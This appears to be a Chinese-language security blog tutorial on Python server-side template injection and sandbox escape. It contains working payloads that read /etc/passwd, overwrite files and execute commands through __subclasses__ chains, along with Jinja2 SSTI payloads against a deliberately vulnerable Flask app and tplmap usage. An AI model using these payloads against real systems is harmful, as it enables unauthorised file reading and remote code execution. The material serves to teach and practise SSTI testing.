best_python

1. python漏洞分析

1.1 python(反序列化)

2.1 python(ssti模板注入)

SSTI (服务器模板注入)

2.1.1 attribution

2.1.1.1 __class__

Python中有一个__class__可以获取实例对应的类,比如一个空字符串"".__class__就可以获取到 <type 'str'>, 那这个字符串同样也可以换成列表,元组,字典。

.__class__

2.1.1.2 __mro__

__mro__ 这个属性可以获取到当前对象的所有继承类, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order)寻找的顺序。或者用base这个属性也可以获取到基本类。

python2

python3

2.1.2 function

2.1.2.1 __ subclasses __()

类对象中的方法 __subclasses__()会返回类中所有存活子类的引用(不是实例),那如果我们用object类调用这个方法的话,就可以返回所有的类对象了。(object类对象是所有类的父类)

如下是在windows的Python2环境中测试的,linux下的
''.__class__.__mro__[2].__subclasses__()
0 <type 'type'>
1 <type 'weakref'>
2 <type 'weakcallableproxy'>
3 <type 'weakproxy'>
4 <type 'int'>
5 <type 'basestring'>
6 <type 'bytearray'>
7 <type 'list'>
8 <type 'NoneType'>
9 <type 'NotImplementedType'>
10 <type 'traceback'>
11 <type 'super'>
12 <type 'xrange'>
13 <type 'dict'>
14 <type 'set'>
15 <type 'slice'>
16 <type 'staticmethod'>
17 <type 'complex'>
18 <type 'float'>
19 <type 'buffer'>
20 <type 'long'>
21 <type 'frozenset'>
22 <type 'property'>
23 <type 'memoryview'>
24 <type 'tuple'>
25 <type 'enumerate'>
26 <type 'reversed'>
27 <type 'code'>
28 <type 'frame'>
29 <type 'builtin_function_or_method'>
30 <type 'instancemethod'>
31 <type 'function'>
32 <type 'classobj'>
33 <type 'dictproxy'>
34 <type 'generator'>
35 <type 'getset_descriptor'>
36 <type 'wrapper_descriptor'>
37 <type 'instance'>
38 <type 'ellipsis'>
39 <type 'member_descriptor'>
40 <type 'file'>
41 <type 'PyCapsule'>
42 <type 'cell'>
43 <type 'callable-iterator'>
44 <type 'iterator'>
45 <type 'sys.long_info'>
46 <type 'sys.float_info'>
47 <type 'EncodingMap'>
48 <type 'fieldnameiterator'>
49 <type 'formatteriterator'>
50 <type 'sys.version_info'>
51 <type 'sys.flags'>
52 <type 'sys.getwindowsversion'>
53 <type 'exceptions.BaseException'>
54 <type 'module'>
55 <type 'imp.NullImporter'>
56 <type 'zipimport.zipimporter'>
57 <type 'nt.stat_result'>
58 <type 'nt.statvfs_result'>
59 <class 'warnings.WarningMessage'>
60 <class 'warnings.catch_warnings'>
61 <class '_weakrefset._IterationGuard'>
62 <class '_weakrefset.WeakSet'>
63 <class '_abcoll.Hashable'>
64 <type 'classmethod'>
65 <class '_abcoll.Iterable'>
66 <class '_abcoll.Sized'>
67 <class '_abcoll.Container'>
68 <class '_abcoll.Callable'>
69 <type 'dict_keys'>
70 <type 'dict_items'>
71 <type 'dict_values'>
72 <class 'site._Printer'>
73 <class 'site._Helper'>
74 <type '_sre.SRE_Pattern'>
75 <type '_sre.SRE_Match'>
76 <type '_sre.SRE_Scanner'>
77 <class 'site.Quitter'>
78 <class 'codecs.IncrementalEncoder'>
79 <class 'codecs.IncrementalDecoder'>
80 <type 'operator.itemgetter'>
81 <type 'operator.attrgetter'>
82 <type 'operator.methodcaller'>
83 <type 'functools.partial'>
84 <type 'MultibyteCodec'>
85 <type 'MultibyteIncrementalEncoder'>
86 <type 'MultibyteIncrementalDecoder'>
87 <type 'MultibyteStreamReader'>
88 <type 'MultibyteStreamWriter'>

windows的python2比linux的多一个<type 'sys.getwindowsversion'>

对比图

object类的第40号元素就是一个有读文件功能的类对象。

#coding:utf-8
#python2
cnt = 0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
        if 'file' in str(item):
            print cnt,item
        cnt+=1
    except:
        cnt+=1
        continue
#  40 <type 'file'>
#  [Finished in 0.1s]
读取/etc/passwd
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

向已存在的文件内写入内容,并会把原有的内容进行覆盖。
''.__class__.__mro__[2].__subclasses__()[40]('/flag','w').write('test')

2.1.2.2 system command

以下皆以python2为例:

访问os模块都是从warnings.catch_warnings模块入手的,模块位置为59(linux下), __init__用于将对象实例化,func_globals可以看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

文件读取
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()

'uid=1000(hzdl) gid=1000(hzdl) groups=1000(hzdl),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)\n'
-----------------------------------------------------------------------------------------
RCE,执行system("ls")
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
-----------------------------------------------------------------------------------------

object.__subclasses__()[59].__init__.__globals__['__builtins__'] 下有eval,__import__等的全局函数。

>>> object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']

<built-in function eval>

2.1.3 漏洞实例

2.1.3.1 flask ssti(python3)

#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=10110,debug=True)

判断存在ssti模板注入:

example

命令执行:

命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
```

![popen](./best_python/6.png)

**文件读取:**

```
文件读取:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('d:\\flag', 'r').read() }}{% endif %}{% endfor %}

文件读取

2.1.3.2 flask ssti(python2)

#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

2.1.4 instrument

2.1.4.1 tplmap

git clone https://github.com/epinna/tplmap
./tplmap.py -u <url>

参考资料:

1、一篇文章带你理解漏洞之 SSTI 漏洞 https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#%E5%AE%9E%E4%BE%8B%E4%B8%80%EF%BC%9A

2、Templates Injections Payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

3、浅析SSTI(python沙盒绕过) http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/

4、FLASK模板注入 (SSTI) https://blog.csdn.net/yh1013024906/article/details/84330056


   转载规则


《best_python》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
2020_网鼎杯 2020_网鼎杯
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-14
下一篇 
best_xss best_xss
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-11
  目录